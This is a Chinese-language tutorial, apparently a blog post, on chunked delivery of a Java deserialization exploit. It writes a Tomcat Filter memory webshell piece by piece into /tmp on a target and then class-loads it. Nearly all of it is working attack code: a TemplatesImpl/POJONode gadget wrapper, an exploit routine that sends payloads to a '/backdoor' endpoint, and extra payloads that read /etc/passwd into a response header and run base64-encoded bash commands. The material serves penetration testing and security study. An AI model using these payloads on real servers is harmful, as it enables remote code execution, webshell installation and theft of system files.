原理:https://developer.aliyun.com/article/863792

要用到的工具:https://github.com/un1novvn/Java-unser-utils

基本概念

分块传输原理:将大马写入到远程机文件中,写入完成后使用类加载去加载他。

适用情况:限制payload长度,rce无回显,不出网,不出dns。

实现思路:发送2种payload:payload1负责追加写入.class文件,payload2负责类加载,这两种payload必须都小于长度限制。

exploit流程:

1、获取大马字节码,分割成小片段。

2、遍历小片段,将小片段填入写文件的小马,确定写入的位置和写入文件名。生成字节码,生成序列化对象,这是payload1。发送payload1到远程。

3、遍历结束后,大马已经完全写入到远程文件。此时生成payload2,发送,执行类加载。

构造payload

分割大马

chunkSize根据实际情况填。

public static byte[][] splitByteArray(byte[] byteArray, int chunkSize) {
int numOfChunks = (int) Math.ceil((double) byteArray.length / chunkSize);
byte[][] result = new byte[numOfChunks][];

for (int i = 0; i < numOfChunks; i++) {
int start = i * chunkSize;
int length = Math.min(byteArray.length - start, chunkSize);
byte[] chunk = Arrays.copyOfRange(byteArray, start, start + length);
result[i] = chunk;
}
return result;
}

写文件

构造追加写文件用的马子。

将大马的小片段填入byte数组。

public A(){
try {
String path = "/tmp/aaa";
File file = new File(path);
FileOutputStream fos = new FileOutputStream(path, true);
byte[] data = {1,1,1};
fos.write(data);
fos.close();
} catch (Exception ignore) {
}
}

类加载

构造类加载用的马。

注意看URLClassLoader构造函数第二个参数是ContextClassLoader。若不加这个,加载tomcat Filter 内存马时报错:ClassNotFound: javax.servlet.Filter。因为单纯一个URLClassLoader在/tmp没有找到Filter,所以要添加一个父加载器,他才能找到Filter。

测试发现,ClassLoader.getSystemClassLoader()这个加载器也找不到Filter。这和Tomcat类加载机制有关。

public A(){
try {
String path = "file:///tmp/";
java.net.URL url = new java.net.URL(path);
java.net.URLClassLoader urlClassLoader = new java.net.URLClassLoader(new java.net.URL[]{url},Thread.currentThread().getContextClassLoader());
Class clazz = urlClassLoader.loadClass("Evil");
clazz.newInstance();
}catch (Exception ignored) {

}
}

生成字节码

将上述用于写文件和类加载的代码填入下面的A类的构造函数即可生成字节码。

public static byte[] payload(String data,String filename) throws Exception{
String s = "public A(){}";
ClassPool classPool = ClassPool.getDefault();
classPool.importPackage(Scanner.class.getName());
CtClass ctClass = classPool.get(AbstractTranslet.class.getName());
CtClass calc = classPool.makeClass("A");
calc.setSuperclass(ctClass);
CtConstructor ctConstructor = CtNewConstructor.make(s, calc);
calc.addConstructor(ctConstructor);
byte[] bytes = calc.toBytecode();
calc.defrost();
return bytes;
}

生成序列化对象

这一步将字节码包装进TemplatesImpl,然后组装gadget。

public static Object wrap(byte[] code) throws Exception{

TemplatesImpl o = Gadget.getTemplateImpl(code);

// hashMap -> XString -> POJONode-> TemplatesImpl
POJONode pojoNode = Gadget.getPOJONode(o);
HashMap hashMapXString = Gadget.get_HashMap_XString(pojoNode);
return hashMapXString;
}

发送请求

手动封装的发请求的工具。

get

public static void get(String url, HashMap<String,String> params) throws Exception {

String query = "?";
for (String key : params.keySet()) {
String value = params.get(key);
query += key +"="+value;
query += "&";
}
query = query.substring(0,query.length()-1);
url += query;
// 创建 URL 对象
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();
// 获取响应
int responseCode = con.getResponseCode();
System.out.println("Response Code: " + responseCode);
System.out.println("Response Headers: " + con.getHeaderFields());

BufferedReader in = null;
try {
in = new BufferedReader(new InputStreamReader(con.getInputStream()));
}catch (Exception e){
in = new BufferedReader(new InputStreamReader(con.getErrorStream()));
}finally {
String inputLine;
StringBuilder response = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
System.out.println("Response: " + response.toString());
}
}

post

public static void post(String url,HashMap<String,String> params) throws Exception{

// 创建 URL 对象
URL obj = new URL(url);
HttpURLConnection con = (HttpURLConnection) obj.openConnection();

String body = "";
for (String key : params.keySet()) {
String value = params.get(key);
body += key +"="+value;
body += "&";
}
body = body.length() == 0 ? "" : body.substring(0,body.length()-1);

// 设置请求方法为 POST
con.setRequestMethod("POST");
// 设置请求头部信息
con.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");

// 发送 POST 请求
con.setDoOutput(true);
try (DataOutputStream wr = new DataOutputStream(con.getOutputStream())) {
wr.writeBytes(body);
wr.flush();
}

// 获取响应
int responseCode = con.getResponseCode();
System.out.println("Response Headers: " + con.getHeaderFields().size());
System.out.println("Response Code: " + responseCode);

try (BufferedReader in = new BufferedReader(new InputStreamReader(con.getInputStream()))) {
String inputLine;
StringBuilder response = new StringBuilder();
while ((inputLine = in.readLine()) != null) {
response.append(inputLine);
}
// 输出响应内容
System.out.println("Response Text: " + response);
}
}

exploit

public static void exploit()throws Exception{
String url = "http://192.168.109.128:18082/backdoor";

//存放请求参数
HashMap<String, String> params = new HashMap<>();

byte[] bigHorse = Util.fil2ByteArray("FilterShell.class");
System.out.println("bigHorse length: "+bigHorse.length);

// 将上一次失败的结果删掉
rce(url,"rm /tmp/FilterShell.class");
sleep();

byte[][] bytes = Util.splitByteArray(bigHorse,100);

for (byte[] aByte : bytes) {
// 将字节数组转换成 {1,2,3,4,5} 的形式传给写文件马然后再编译成字节码
Object writeHorse = wrap(SmallShell.writeByteHorse(aByte,"/tmp/FilterShell.class"));
String packet = Base64.getEncoder().encodeToString(Util.serialize(writeHorse));
System.out.println("writeHorse length: "+packet.length());
params.put("payload",Util.URLEncode(packet));
Request.get(url,params);
sleep();
}

// 传输类加载马,让他加载 /tmp/FilterShell.class 文件
Object loaderHorse = wrap(SmallShell.loaderHorse("FilterShell"));
String loaderHorseBase = Base64.getEncoder().encodeToString(Util.serialize(loaderHorse));
System.out.println("loaderHorse Length: "+loaderHorseBase.length());
params.put("payload",Util.URLEncode(loaderHorseBase));
Request.get(url,params);

}

其他小马

附上测试过程中用过的别的类型的小马。

readObject

public A(){
try {
java.io.InputStream in = new java.io.FileInputStream("aaa");
java.io.ByteArrayOutputStream out = new java.io.ByteArrayOutputStream();
byte[] buffer = new byte[4096];
int n = 0;
while((n = in.read(buffer)) != -1) {
out.write(buffer, 0, n);
}
byte[] data = out.toByteArray();
byte[] decodeBytes = java.util.Base64.getDecoder().decode(data);
new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(decodeBytes)).readObject();
} catch (Exception e) {
}
}

读文件

读取文件然后通过请求头返回

public A(){
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();
java.lang.reflect.Field r=request.getClass().getDeclaredField("request");
r.setAccessible(true);
org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request)r.get(request)).getResponse();

response.setHeader("b",new java.util.Scanner(new java.io.File("/etc/passwd")).next());
}

Base64Decode

public A(){
try {
String path = "/your/path";
FileInputStream fis = new FileInputStream(path);
// size取决于实际情况
byte[] data = new byte[size];
fis.read(data);
// 写入Evil.class
FileOutputStream fos = new FileOutputStream("Evil.class");
fos.write(Base64.getDecoder().decode(data));
fos.close();
} catch (Exception ignored) {}
}

RCE

不回显

public A(){
try(){
Runtime.getRuntime().exec("bash -c {echo,cmdBase64}|{base64,-d}|{bash,-i}");
}catch(Exception e){

}
}

有回显

public A(){
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes)org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();

java.lang.reflect.Field r=request.getClass().getDeclaredField("request");

r.setAccessible(true);
org.apache.catalina.connector.Response response = ((org.apache.catalina.connector.Request)r.get(request)).getResponse();

String s =new Scanner(Runtime.getRuntime().exec(“whoami”).getInputStream()).next();
response.setHeader("c", s);
}

小马长度比较

单纯只是小马的字节码长度,不是序列化对象的长度。

contextLoaderHorse: 803 //加入了 getContextClassLoader
urlLoaderHorse: 633 //不加 getContextClassLoader
rceHorse: 483 // 无回显rce
rceWithResultHorse: 1525 // 有回显rce
writeByteHorse: 506 //写入1个字节时该马的长度
writeStringHorse: 559 //写入1个字符时该马的长度
readObjectHorse: 934 //读取文件并反序列化
readFileHorse: 1325 //读取文件并回显